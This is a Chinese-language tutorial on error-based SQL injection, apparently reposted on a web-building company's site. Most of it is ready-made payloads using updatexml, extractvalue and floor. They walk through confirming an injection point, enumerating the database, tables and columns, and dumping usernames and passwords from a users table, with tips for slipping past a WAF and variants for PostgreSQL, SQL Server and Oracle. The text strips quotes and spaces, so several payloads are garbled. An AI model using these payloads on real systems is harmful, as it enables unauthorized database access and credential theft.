尧图建网站 尧图建网站 YAOTU WEB BUILD 免费咨询
ARTICLE DETAIL

资讯详情

深耕网站建设与建站编程的一线实战洞察。

网络安全 - SQL注入篇 - 报错注入

网络安全 - SQL注入篇 - 报错注入 一、什么是报错注入报错注入Error-Based Injection是SQL注入中“性价比”极高的一种技术。它不需要联合查询那样严格的列数限制也不像盲注那样慢如蜗牛只要数据库报错信息能回显到页面上就能快速“炸”出数据。定义攻击者利用数据库的某些函数如updatexml()、extractvalue()、floor()等故意触发语法错误或类型转换错误让数据库将查询结果作为错误信息的一部分返回给前端页面。二、报错注入利用前提① 存在 SQL注入 漏洞② 数据库错误信息回显到页面(核心!)③ 数据库版本支持报错函数MySQL 5.1.5 支持updatexml/extractvalueMySQL 5.0 支持floor遇到MySQL 5.0以下只能用floor()或geometry函数④ 注入点可执行报错函数三、确认报错注入可用核心目标找到能让报错函数正常触发并输出数据的闭合方式。判断标准如果页面返回了包含数据内容的数据库错误信息说明该闭合有效。序号场景类型测试输入以updatexml为例预期现象响应内容结论1基准测试?id1正常显示数据基准状态2数字型测试?id1 and updatexml(1,concat(0x7e,version()),3)页面报错错误信息中包含数据库版本号如~5.7.36确认为数字型报错注入3字符型 - 单引号?id1 and updatexml(1,concat(0x7e,version()),3) --报错信息中包含版本号确认为单引号闭合4字符型 - 双引号?id1 and updatexml(1,concat(0x7e,version()),3) --报错信息中包含版本号确认为双引号闭合5字符型 - 单引号括号?id1) and updatexml(1,concat(0x7e,version()),3) --报错信息中包含版本号确认为单引号括号闭合6字符型 - 双引号括号?id1) and updatexml(1,concat(0x7e,version()),3) --报错信息中包含版本号确认为双引号括号闭合关键判断如果页面返回的错误信息中包含 ~5.7.36 或 ~8.0.25 等版本号说明报错注入可用且已成功执行。实战技巧优先测 1’单引号命中率最高。如果updatexml被WAF拦截立刻换成extractvalue或floor。核心报错函数速查表函数语法报错原理长度限制适用版本updatexml()updatexml(1, concat(0x7e, payload), 3)XPath路径格式错误导致报错并显示路径内容最长32字符超出截断MySQL 5.1.5extractvalue()extractvalue(1, concat(0x7e, payload))同上XPath格式错误最长32字符MySQL 5.1.5floor()and (select 1 from (select count(*), concat(payload, floor(rand(0)*2)) x from information_schema.tables group by x) y)主键重复floor(rand(0)*2)产生随机重复键无限制完整输出MySQL 5.0geometrycollection()geometrycollection(geomfromtext(concat(0x7e, payload)))几何数据格式无效较长MySQL 5.50x7e 是 ~ 的十六进制编码作为数据与报错信息的分隔符方便肉眼定位数据。四、报错注入的详细步骤第一步确认报错注入存在选择优先级最高的 updatexml 进行测试-- 数字型?id1andupdatexml(1,concat(0x7e,version()),3)-- 字符型单引号?id1andupdatexml(1,concat(0x7e,version()),3)--✅ 页面返回 XPATH syntax error: ‘~5.7.36’ → 报错注入确认可用闭合方式确定。❌ 页面正常无报错 → 尝试换成 extractvalue再不行换 floor。❌❌ 全部无报错 → 报错注入不可用切换到布尔盲注或时间盲注。第二步获取当前数据库名-- 使用 updatexml注意长度限制32字符如果库名太长需用 substr 分段?id1 and updatexml(1, concat(0x7e, database()), 3) -- -- 如果库名超过32字符使用 substr 分段截取 ?id1andupdatexml(1,concat(0x7e,substr(database(),1,31)),3)--?id1andupdatexml(1,concat(0x7e,substr(database(),32,31)),3)--第三步获取当前库下的所有表名-- 获取所有表名group_concat 可能超长需分段?id1 and updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schemadatabase())), 3) -- -- 如果返回数据被截断只显示一部分使用 substr 分段 ?id1andupdatexml(1,concat(0x7e,substr((selectgroup_concat(table_name)frominformation_schema.tableswheretable_schemadatabase()),1,31)),3)--?id1andupdatexml(1,concat(0x7e,substr((selectgroup_concat(table_name)frominformation_schema.tableswheretable_schemadatabase()),32,31)),3)--第四步获取目标表的字段名与数据-- 获取 users 表的字段名?id1 and updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_nameusers and table_schemadatabase())), 3) -- -- 获取 users 表的 username 和 password单条数据使用 limit 限制行数 ?id1andupdatexml(1,concat(0x7e,(selectconcat_ws(:,username,password)fromuserslimit0,1)),3)---- 如果数据超长同样用 substr 分段?id1 and updatexml(1, concat(0x7e, substr((select concat_ws(:,username,password)fromuserslimit0,1),1,31)),3)--五、针对32字符长度限制的解决方案updatexml和extractvalue的报错输出最长只有32个字符含前缀 ~ 和数据。一旦数据超过32字符就会被截断。解决方案1使用 substr() 分段截取-- 第1段第1-31位?id1 and updatexml(1, concat(0x7e, substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()), 1, 31)), 3) -- -- 第2段第32-62位 ?id1andupdatexml(1,concat(0x7e,substr((selectgroup_concat(table_name)frominformation_schema.tableswheretable_schemadatabase()),32,31)),3)---- 第3段第63-93位?id1andupdatexml(1,concat(0x7e,substr((selectgroup_concat(table_name)frominformation_schema.tableswheretable_schemadatabase()),63,31)),3)--解决方案2直接换用 floor() 报错无长度限制-- floor 报错完整语法注意表名必须存在随意选一个系统表即可?id1and(select1from(selectcount(*),concat((selectgroup_concat(table_name)frominformation_schema.tableswheretable_schemadatabase()),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)y)--floor()报错没有32字符限制但语句冗长适合一次性获取全部数据。六、其他数据库的报错注入数据库报错函数 / 语法示例PostgreSQLcast()类型转换错误?id1 and cast(version() as numeric) --PostgreSQL1/0除零错误?id1 and 1/0 0 --SQL Serverconvert()类型转换错误?id1 and convert(int, version) --SQL Server1/0除零错误?id1 and 1/0 0 --Oracleto_number()类型转换错误?id1 and to_number(to_char(version())) --Oraclectxsys.drithsx.sn()?id1 and ctxsys.drithsx.sn(1,(select banner from v$version where rownum1)) --
返回列表